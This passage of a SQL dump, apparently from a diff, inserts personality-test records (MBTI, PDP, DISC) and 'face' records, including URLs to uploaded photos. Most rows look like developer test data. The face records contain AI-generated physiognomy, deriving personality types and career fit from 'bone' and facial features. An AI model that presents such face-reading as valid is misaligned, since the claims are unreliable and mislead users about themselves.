1772777310, 1772777310, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (67, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 8, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:09:01.675Z\", \"confidence\": 100, \"completedAt\": \"2026-03-06T06:09:01.675Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 18, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 8, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, 101, NULL, 1772777341, 1772777341, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (68, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 1, \"Tiger\": 19, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Koala\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-03-06T06:10:13.546Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 5, \"Tiger\": 95, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 17, \"secondaryType\": \"Koala\"}', NULL, NULL, 1, 0, 101, NULL, 1772777413, 1772777413, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (69, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-06T06:10:46.131Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 7, \"secondaryType\": \"I\"}', NULL, NULL, 1, 0, 101, NULL, 1772777446, 1772777446, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (70, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、谋略清晰,擅长系统规划与稳健决策,适合深度思考与长期项目主导。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相均衡偏稳,额骨与颧骨不露锋芒但有内劲,下颌扎实,整体属稳健持久型格局。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳聚焦,鼻形端正收敛,嘴角含蓄不张扬,下巴圆厚有承载力。\", \"personalitySummary\": \"思维缜密,重逻辑与结构,情绪克制,做事有节奏感和计划性,偏独立决策与深度钻研。\"}', NULL, NULL, 1, 0, 200, NULL, 1772777563, 1772777563, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (71, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 1, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 1, \"S\": 7, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:13:16.011Z\", \"confidence\": 93, \"completedAt\": \"2026-03-06T06:13:16.011Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 24, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 1, \"dominant\": \"J\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 6, \"dominant\": \"T\", \"percentage\": 86}}}', NULL, NULL, 1, 0, 200, NULL, 1772777596, 1772777596, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (72, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-06T06:14:30.403Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 14, \"secondaryType\": \"Tiger\"}', NULL, NULL, 1, 0, 200, NULL, 1772777670, 1772777670, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (73, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、善于筹划与评估风险,重视长远布局与体系化推进,适合承担决策与策略设计角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨肉匀称,颧骨内敛不外突,整体气质内敛克制,重逻辑与规则,行动稳健不张扬。\", \"faceAnalysis\": \"额头开阔、眼神专注,鼻梁端正,口形收敛,整体给人理性稳重、思路清晰且有节制的印象。\", \"personalitySummary\": \"性格理性冷静,重视结构与效率,偏内向独立,有清晰原则与边界,擅长在安静环境中深度思考与规划。\"}', NULL, NULL, 1, 0, 101, NULL, 1772779082, 1772779082, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (74, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略周全,擅长系统规划与风险控制,适合掌舵长线项目与关键决策岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨骼线条分明不张扬,属木土兼具之稳健格局,重视结构与秩序,行动节奏耐心持久。\", \"faceAnalysis\": \"额头开阔、五官端正,眼神专注沉稳,整体给人理智可信、思维缜密且有主见的印象。\", \"personalitySummary\": \"内敛克制,思考深入,偏好独立决策与长期规划;重视逻辑和证据,对自己与他人要求高,人际保持适度距离但可靠守信。\"}', NULL, NULL, 1, 0, 200, NULL, 1772779594, 1772779594, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (75, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、稳健克制,擅长谋划与统筹,适合承担关键决策与长期规划角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨骼端正不张扬,骨肉均衡,属稳健谋略型,更重长线布局与结构把控。\", \"faceAnalysis\": \"额头饱满开阔,双眼内敛专注,鼻准端正,嘴形收敛有度,整体气质理性稳重、主思考少外露情绪。\", \"personalitySummary\": \"内向理性,重逻辑与秩序,行事低调却目标清晰,决策慎重且坚持原则,偏策略与分析型性格。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780350, 1772780350, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (76, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉稳内敛,思维细致周全,善于洞察人心与趋势,适合做策略规划与决策参谋型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面廓偏圆中带方,下颌收束有力,骨感不突但有支撑感,属土水兼具之相,稳健中含灵动与包容。\", \"faceAnalysis\": \"额头饱满圆润,眉目温和含笑,眼神内敛而专注,整体给人理性稳重、亲和可信赖的印象。\", \"personalitySummary\": \"重视内在价值与长期意义,行事谨慎有原则,待人温和却坚持立场,擅长系统思考与整合信息。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780684, 1772780684, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (77, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性温和、内敛专注,善于观察与思考,重视深度与原则,适合专业型与策划型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感略显、线条清瘦,颧骨内敛不外突,下颌柔和略尖,属思考型与感知型骨相,以智慧与洞察见长。\", \"faceAnalysis\": \"额头饱满顺势,眼神沉静带思考,鼻梁细直,嘴唇柔和偏薄,整体五官清秀带理性气质。\", \"personalitySummary\": \"性格安静理性,重视独立空间与思考深度,做事谨慎有条理,对他人体察细腻但不张扬,擅长在幕后规划与支撑全局。\"}', NULL, NULL, 1, 0, 101, NULL, 1772781830, 1772781830, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (78, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且具洞察力,内敛中带坚持,适合深度思考与稳健推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部线条偏细长,骨感略显,骨肉关系骨重肉薄,五官集中,呈内敛专注型格局,擅长细致思考与长期坚持。\", \"faceAnalysis\": \"额头较高,眉眼柔和内敛,鼻梁清秀,嘴唇偏薄收敛,下巴略尖,整体给人理智温和、思虑周全的印象。\", \"personalitySummary\": \"性格安静专注,情绪稳定,重视原则与边界。做事有计划,追求质量与深度,人际相对克制但真诚可靠。\"}', NULL, 77, 1, 0, 101, NULL, 1772782874, 1772783583, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (79, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 1, 0, 101, NULL, 1773036842, 1773036842, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (80, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037039, 1773037039, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (81, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037702, 1773037702, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (82, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038120, 1773038120, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (83, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038934, 1773038934, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (84, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T06:51:16.469Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 11, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773039076, 1773039076, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (85, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 20, \"Chameleon\": 0}, \"answers\": {\"1\": \"Peacock\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T07:09:22.827Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 100, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 18, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773040162, 1773040162, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (86, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773042949, 1773042949, 5, 'personal'); +INSERT INTO `mbti_test_results` VALUES (87, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:12:52.575Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 17, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773043972, 1773043972, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (88, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:21:35.366Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773044495, 1773044495, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (89, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-09T09:04:40.997Z\", \"confidence\": 100, \"completedAt\": \"2026-03-09T09:04:40.997Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 30, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773047081, 1773047081, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (90, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 3, \"Peacock\": 17, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T09:05:34.273Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 15, \"Peacock\": 85, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 16, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047134, 1773047134, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (91, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, 